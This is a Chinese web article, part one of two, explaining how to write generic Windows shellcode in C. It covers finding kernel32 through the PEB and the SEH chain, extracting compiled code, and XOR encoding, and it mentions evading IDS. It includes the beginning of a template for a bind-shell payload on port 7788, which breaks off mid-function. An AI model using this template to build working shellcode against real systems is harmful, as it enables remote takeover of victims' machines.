Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 关于Windows下ShellCode编写的一点思考 上
【标  题】:关于Windows下ShellCode编写的一点思考 上
【关键字】:C,Windows,in,Win,Window,Shell,Code,do,Wi,Windows,ShellCode
【来  源】:网络

关于Windows下ShellCode编写的一点思考 上

Your Ad Here   关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己的一点想法记录下来,以慰同菜。


我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

   原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30    
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd        
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。

2.几段代码的作用

    在ShellCode提取代码中你或许会经常见到
    temp = *shellcodefnadd;
    if(temp == 0xe9)
    {
      ++shellcodefnadd;
      k=*(int *)shellcodefnadd;
      shellcodefnadd+=k;
      shellcodefnadd+=4;
    }
    这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

   jmp function

   上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

   还有在代码中会看到:
       jmp    decode_end

decode_start:
       pop    edx
       .......
decode_end:
    
       call    decode_start
Shell_start:

    之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

    在原程序中采用了如下局部变量结构:

    FARPROC     WriteFileadd;
    FARPROC     ReadFileadd;
    FARPROC     PeekNamedPipeadd;
    FARPROC     CloseHandleadd;
    FARPROC     CreateProcessadd;
    FARPROC     CreatePipeadd;
    FARPROC    procloadlib;

    FARPROC     apifnadd[1];

    以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的机器上则不然,比如下面的测试程序:

#include
#include
#include
#include

void shell();

void __cdecl main(int argc,char *argv[])
{
    FARPROC arg1;
    FARPROC arg2;
    FARPROC arg3;
    FARPROC arg4;
    FARPROC arg5;
    int par1;
    int par2;
    int par3;
    int par4;
    char ch;

    printf("Size of FARPROC %d\n",sizeof(FARPROC));
    printf("\n%X\n%X\n%X\n%X\n%X\n\n  \t%X\n%X\n%X\n%X\n \t%X\n",
    &arg1,
    &arg2,
    &arg3,
    &arg4,
    &arg5,
    &par1,
    &par2,
    &par3,
    &par4,
    &ch

    );
}
在我机器上产生的输出是:

12FF7C
12FF78
12FF74
12FF70
12FF68

    12FF6C
12FF64
12FF60
12FF5C
    12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

    可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
    增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并同步更新Enum的索引即可。调用API时直接使用:
    
    API[_APINAME](param,....param);

    即可。

    如果没注释掉有#define  DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。
---------------------------------
/*
        使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include
#include
#include

#define  DEBUG 1

//
//函数原型
//
void     DecryptSc();
void     ShellCodes();
void     PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define  BEGINSTRLEN    0x08    //开始字符串长度
#define  ENDSTRLEN      0x08    //结束标记字符的长度
#define  nop_CODE       0x90    //填充字符
#define  nop_LEN    0x0     //ShellCode起始的填充长度
#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT    7788    //绑定端口号 0x1e6c
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key    0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400   //APIstr字符串的长度
#define  API_endstr     "strend"//API结尾标记字符串    
#define  API_endstrlen  0x06    //标记字符串长度

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
           __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//----------------------------
enum{       //Kernel32
        _CreatePipe,
        _CreateProcessA,
        _CloseHandle,
        _PeekNamedPipe,
        _ReadFile,
        _WriteFile,
        _ExitProcess,

        //WS2_32
        _socket,
        _bind,
        _listen,
        _accept,
        _send,
        _recv,
        _ioctlsocket,
        _closesocket,

        //本机测试User32
        _MessageBeep,
        _MessageBoxA,
        API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="\x1e\x6c"   //端口地址

        //Kernel32的API函数名称
        "CreatePipe""\x0"
        "CreateProcessA""\x0"
        "CloseHandle""\x0"
        "PeekNamedPipe""\x0"
        "ReadFile""\x0"
        "WriteFile""\x0"
        "ExitProcess""\x0"

        //其它API中用到的API
        "wsock32.dll""\x0"
        "socket""\x0"
        "bind""\x0"
        "listen""\x0"
        "accept""\x0"
        "send""\x0"
        "recv""\x0"
        "ioctlsocket""\x0"
        "closesocket""\x0"
        //本机测试
        "user32.dll""\x0"
        "MessageBeep""\x0"
        "MessageBoxA""\x0"

        "\x0\x0\x0\x0\x0"
        "strend";

  char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串
  char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串

  char  buff[BUFFSIZE];     //缓冲区
  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
  char  *pDcrypt_addr,
    *pSc_addr;

  int   buff_len;           //缓冲长度
  int   EncCode_len;        //加密编码代码长度
  int   Sc_len;         //原始ShellCode的长度

  int       i,k;
  unsigned  char ch;
书写基于内核的linux键盘纪录器 上:【上一篇】
开放源代码成黑客觊觎目标 下:【下一篇】
【相关文章】
  • 书写基于内核的linux键盘纪录器 上
  • 关于Windows下ShellCode编写的一点思考 下
  • Novarg/Mydoom蠕虫及其变种分析报告
  • 书写基于内核的linux键盘纪录器 下
  • 对Mydoom.a的shimgapi.dll的分析 上
  • Visual Basic编程疑难问题解(二)五
  • Visual Basic编程疑难问题解(二)六
  • 如何在本地机器调试CGI
  • 利用IEObjectData漏洞实现网页木马
  • 用VC++实现Win2000/XP下的休眠
  • 【随机文章】
  • ACDsee深度历险
  • [导入]说说java 之父谈论关于java和php, ruby 以及 c#
  • iptables 代理防火墙范本
  • 命运交响曲
  • void* alloca()中不懂的
  • Xhtml第3天:定义语言编码
  • date 显示日期或使用计算机批处理程序更改日期
  • bean里面如何打印到html页面
  • 实用movieClipLoader类
  • 子网计算的通吃方法
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.